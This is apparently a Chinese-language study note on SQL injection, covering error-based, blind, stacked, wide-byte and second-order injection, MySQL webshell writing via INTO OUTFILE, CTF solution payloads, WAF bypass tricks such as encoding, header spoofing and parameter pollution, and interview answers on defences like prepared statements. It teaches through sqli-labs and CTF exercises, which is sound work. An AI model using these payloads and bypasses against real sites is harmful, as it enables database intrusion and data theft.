0x00写在前面
尽管目前厂商的防护手段都经过几轮迭代升级,但SQL注入仍是漏洞高发方式,本文记下对SQL注入所学习到的方法,也是对以前学过的做一个系统复习,里面也加入一些企业面试常问的问题,以下部分内容均为个人理解,如有错误,多多指正。
使用的靶场是SQLI,地址为https://github.com/Audi-1/sqli-labs
0x01分类
SQL注入从注入方式分为三大类,一种是回显注入,一种是无回显注入,还有一种是其他形式的注入,比如JSON注入、宽字节注入等
一、回显注入
回显注入中主要为报错注入
1、报错注入
(1)常规报错注入
顾名思义,常规报错就是通过单引号、双引号、括号等形式进行SQL构造,让服务器返回SQL语句相关错误,从而fuzz出SQL注入点。
2、特性函数报错
(1)updatexml注入
看函数可以知道这个作用是用来更新xml文档的。
在这个函数中可以写入一个子查询语句,尽管不符合xpath的规则会报错但同时也会把SQL查询的东西带出来,实现报错注入的目的。
用法:updatexml(xml_document, xpath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
1 | ' and updatexml(1,concat(0x7e,(select substr(xxx,32,1) from xxx limit 0,1),0x7e),1)--+ |
(2)extractvalue注入
从一个使用了xpath语法的xml字符串提取一个值
用法:extractvalue(xml_frag, xpath_expr)
第一个参数:xml_frag是xml文档对象名称,string类型
第二个参数:xpath_expr是使用xpath语法格式的路径
原理:当xpath_expr不符合xpath格式时会报错,~在ascii编码中是0x7e,不符合xpath格式,从而达到报错并把查询语句的结果带外
(3)floor注入
这个注入方式需要配合rand()函数和group by 语句
floor(x)
返回小于或等于x的最大整数
rand()
返回一个0到1的随机数,一般这里用的是rand(0),是固定一个0-1之间的伪随机数
group by 对查询的结果进行分组
原理:当count(*),floor(rand(0))和group by 同时执行时,会爆出duplicate entry错误
这是基于floor(rand(0)*2)的不确定性,可能为0也可能为1也可能为2,因为这里乘以了2
1 | select count(*) from table group by concat(database(),floor(rand(0)*2)) |
group by在执行时,会依次取出查询表中的记录并创建一个临时表,group by的对象便是该临时表的主键。如果临时表中已经存在该主键,则将值加1,如果不存在,则将该主键插入到临时表中,注意是插入!
1 | #原理:当count(*),floor(rand(0))和group by 同时执行时,会爆出duplicate entry错误 |
就是group by与rand()使用时,如果临时表中没有该主键,则在插入前rand()会再计算一次
网上大部分文章都说必须要有三条记录以上才可以报错。
实则不是,只要序列满足0101或1010,只要满足2条数据就可以进行报错注入
测试结果当floor(rand(14)*2)时序列是1010,可以满足这个报错
本质上这个报错是向临时表插入数据时,插入了重复的主键导致的报错
(4)总结
updatexml需要在查询后limit限制回显条数,limit x,1,x为变量
extractvalue在concat里插叙的语句还是需要group_concat,而updatexml不用
且最多只显示31位,若为MD5等大于32位的字符如下:
1 | ' and updatexml(1,concat(0x7e,(select substr(xxx,32,1) from xxx limit 0,1),0x7e),1)--+ |
二、无回显注入
1、盲注
(1)基于时间的盲注
benchmark()
是一个延时函数,但属于侧信道攻击,比较消耗CPU的资源
用法:benchmark(count,expr)
1 | benchmark(5000,encode('MSG','by 5 seconds')) |
sleep()
常用的mysql延时函数
sleep(1)
延时一秒
1 | if(ascii(substr(database(),1,1))>115,0,sleep(5))--+ |
(2)基于布尔类型的盲注
以下是一些常见布尔注入使用的函数
substr()
截取目标字符串
用法:substr(str, start, length),其中str为字符串,start为起始位置,length为长度
1 | ascii(substr((select table_name information_schema.tables where tables_schema = database()limit 0,1),1,1))=101 --+ |
left()
与substr()类似,也是截取目标字符串
用法:left(str,length),其中str是要提取子字符串的字符串,length是一个正整数,指定将从左边返回的字符数。
1 | left(database(),1)='a' |
ord()
将返回字符串的第一位字符转换为ASCII码
用法:ord(str),其中str是要将第一位转换为ASCII码的字符串,可以单独也可以完整
1 | ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98--+ |
2、DNSLog外带注入
三、其他注入形式
1、mysql写shell
(1)有root权限
(2)知道web的绝对路径
(3)有select、update关键词权限
(4)security_file_priv需要关闭状态
(5)在PHP中需要关闭GPC(魔术引号)
(6)使用lines terminate by 写webshell
2、order by 注入
1 | select * from goods order by $_GET['params'] |
order by 可以直接在后面加入布尔类型注入,也可加入时间盲注,基本操作跟上述提到的普通注入方式一样
1 | order by if(1=1,username,password); |
procedure analyse注入
原理是利用procedure analyse 参数后注入,实际上是一种报错注入方式
利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 order by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以 利用 procedure analyse 进行注入。
1 | procedure analyse(extractvalue(rand(),concat(0x3a,version())),1) |
3、lines terminate by写webshell
?sort=1 Into outfile c:\wamp\www\sqllib\test1.txt lines terminated by 0x(网马进行 16 进制转换)
4、limit后注入
这里也可以搭配ordey by 和 procedure analyse注入的形式,其根本也是构造报错注入
1 | select * from admin where id >0 order by id limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); |
5、堆叠注入
堆叠实际上就是多条语句同时执行,如:sql1;sql2;
可写入多条语句,比如select之后可以写一条create、update这种,还可以delete删除
在php中常用mysqli_multi_query()进行多语句执行,但实际上的环境大部分都是mysqli_ query()
6、宽字节注入
什么是宽字节
GB2312、GBK、GB18030、BIG5、Shift_JIS编码方式均属于宽字节编码
如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节
原因是因为PHP发送查询语句时会使用“character_set_client = gbk”,这时MYSQL使用的是GBK编码
在GBK编码中,默认2个字节为1个汉字
常见造成宽字节注入的函数:
addslashes、mysql_real_escape_string、mysql_escape_string、php.ini中magic_quote_gpc
原理:输入’或”会通过addslashes转义成\,这表面上可以防止某些SQL注入,但是如果加入%df就会把\吃掉,这是因为\在MYSQL的宽字节编码中是%5c,这时候就会变成一个汉字
7、二次注入
原理就是攻击者在输入SQL注入语句时被转义了,但仍把这些恶意的查询放到了数据库,在下一次请求数据时会调用数据库并把恶意数据提取出来,实现被动(二次)注入,一般会在白盒审计中出现,无法通过黑盒这种形式实现。
0x02案例展示(CTF)
借CTF历年赛事经典题目来分析SQL注入绕过姿势
一、2024源鲁杯——sInXx
payload初次尝试
1 | juan79%27%09and%09%281%3D1%29%23 |
检测是过滤了逗号,这时候利用到等价函数替换,可以用join()连接表去测试列数
1 | 1'%09UNION%09SELECT%09*%09FROM%09((SELECT%091)A%09join%09(SELECT%091)B%09join%09(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)# |
获得table,这里是or被禁用了
1 | 1' UNION SELECT * FROM ((SELECT GROUP_CONCAT(TABLE_NAME) FROM sys.schema_table_statistics WHERE TABLE_SCHEMA=DATABASE())A join (SELECT 1)B join (SELECT 1)C join (SELECT 1)D join (SELECT 1)E)# |
拿数据
1 | 1' UNION SELECT * FROM ((SELECT `2` FROM (SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b) UNION SELECT * FROM DataSyncFLAG)alimit 2 offset 1)A join (SELECT 1)B join (SELECT 1)C join (SELECT 1)D join (SELECT 1)E)# |
二、2022羊城杯——ComeAndLogin
获得库和表
1 | username=1111\&password=or%0c((0xxxxx,0xxxxx,1,2,3,4,5,6,7,8)<(table sys.x$ps_schema_table_statistics_io limit 52,1))%23 |
获得用户账号和密码
1 | username=1111\&password=or%0c((1,0x6161646d696e6e,0x6565656633343530393237453034656263363935326664626337356337633430)<(table%0cusertablelist%0climit%0c0,1))%23 |
0x03绕过思路
一、内敛注释
1 | /*!50001 select 1,2,3*/; |
二、伪装百度爬虫脚本
字面意思,给予符合百度爬虫的特征
三、IP白名单
1 | X-forwarded-for |
在header中修改这些请求头可以实现bypass
四、静态资源
1 | ?1.php/1.js?id=1 |
waf不会对静态资源请求内容进行过滤
.js、.jpg、.swf、.css等
五、更改请求头
更改User-Agent,部分内容跟伪装百度爬虫类似,早期的waf也是可以修改这个UA来实现Bypass
六、使用代理池
动态IP代理池,不怕被WAF封禁IP,可逐一尝试waf过滤的关键字
七、增加延时参数
延长执行时间,伪装成正常业务
0x04进阶绕过
一、更改数据提交方式
可将GET形式改成POST、OPTION、HEAD等比较少见的请求方式
二、大小写混合
比如将select修改为sELeCt
三、编码解码类
将payload改成base64编码、url编码、unicode编码等
s->%73->%25%37%33(url编码)
四、注释符混用
//—-+#//+:%00/!/
/ /当成空格
五、双写绕过
比如将select修改为sselectelect
六、等价函数替换
Hex() bin()等价于ascii()
@@user等价于user()
@@version等价于version()
Sleep() 等价于 benchmark()
Mid() substring() 等价于substr()
等号“=”替换为like
七、特殊符号混用
%0a在MYSQL是换行,可以当空格使用
%00截断
%09 TAB 键(水平)
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
八、借助数据库特性
每个数据库有不同特点,也有可以利用的点,例如mysql就有一个mysql黑魔法,属于mysql专有的特性
九、垃圾数据溢出
不断填充数据包,在某些WAF中,过大的数据包或过长数据长度会默认舍弃检测,避免降低业务效率,直接放行
十、HTTP参数污染
如上传的参数为在特定情况下为bbs=u&bbs=n&bbs=i&bbs=o&bbs=n&bbs=select 1,user(),3如果服务器端是将获取到的参数组合的话,就可以达到绕过的目的。
组合起来就是union select 1,user(),3
十一、MYSQL黑魔法
select{xusername}from{x11test.admin};
handle替代select
这里是一个鲜为人知的知识点,也是从一篇阿里云大会上的文章看到的,这里handle是mysql独有的关键字。这条语句使我们能够一行一行的浏览一个表中的数据,比较冷门,毕竟属于是mysql的特性,所以没有列入SQL语句类型里面
十二、Information_schema绕过
mysql.innodb_table_stats
sys.schema_table_statistics
sys.x$statement_analysis
0x05常见面试题
一、启明星辰
(1)sql注入用过哪些函数?
– limit()、concat()、group_concat()、Substr()、Ascii()、Left()
– length()、updataxml()
(2)sql注入的简单原理及其如何防御?
将恶意SQL语句传进一个SQL语句中,这个语句没有经过处理直接进入到SQL查询环节,完整执行了这个语句并产生特定结果;永远不信任来自客户的输入,入参转义,比如对单引号或双引号进行\转义,出参过滤,这样可以很大概率防止二次注入的发生。如在代码上可采用预编译方法,对要进行SQL的代码,不直接传入外部输入的数据,而是直接预编译成字符串传入,这样不会造成SQL恶意执行;直接上WAF
二、字节跳动
(1)java系统中的sql注入怎么做一个防御和修复?
使用preparestatement预编译,将SQL语句变成字符串而不直接插入到数据库查询;若在Mybait的框架中,采用#{}传参而不用${}传参,原理是跟预编译一样的;对用户输入的数据采用过滤处理,例如将单引号或双引号转义;直接上WAF;
(2)SQL注入如何判断注入点?
在某些传参参数中输入单引号、双引号或括号,并输入例如 1=1 1=2 # 观察数据是否正常显示,若返回错误,大概率存在SQL注入点
三、长亭科技
(1)php在做sql注入防御时有哪些方法?
(2)java做sql注入的防御?
同上
四、腾讯安全
(1)sql注入过waf了解吗,若一个sql注入过滤了information关键词,怎么绕过?
mysql.innodb_table_stats
sys.schema_table_statistics
sys.x$statement_analysis
(2)sql注入了解吗,讲一讲二次注入的原理?
黑客对数据库插入了脏数据,恶意查询语句,尽管在插入时进行了转义等处理,但再次调用查询语句时里面的脏数据没有经过处理直接返回,导致二次注入
五、58同城
(1)假如说有个SQL注入如下
1 | select * from user where userid = {}; |
- response里面没有返回内容
- 1s就超时了,直接返回404页面
这种情况下如何注入?
这个暂时没看到比较官方标准答案,可以拓展下思路
六、京东
(1)sql注入的简单原理及其如何防御?
同上
0x06总结
SQL注入的姿势千变万化,在每次学习到一条新bypass payload时还是多记一记。根本上还是要多学SQL语法和特点,几乎所有的Bypass无非就是基于SQL特点去操作的。
同时还要多学习更多的WAF,无论是开源还是从哪个地方获得的,根本一点:多尝试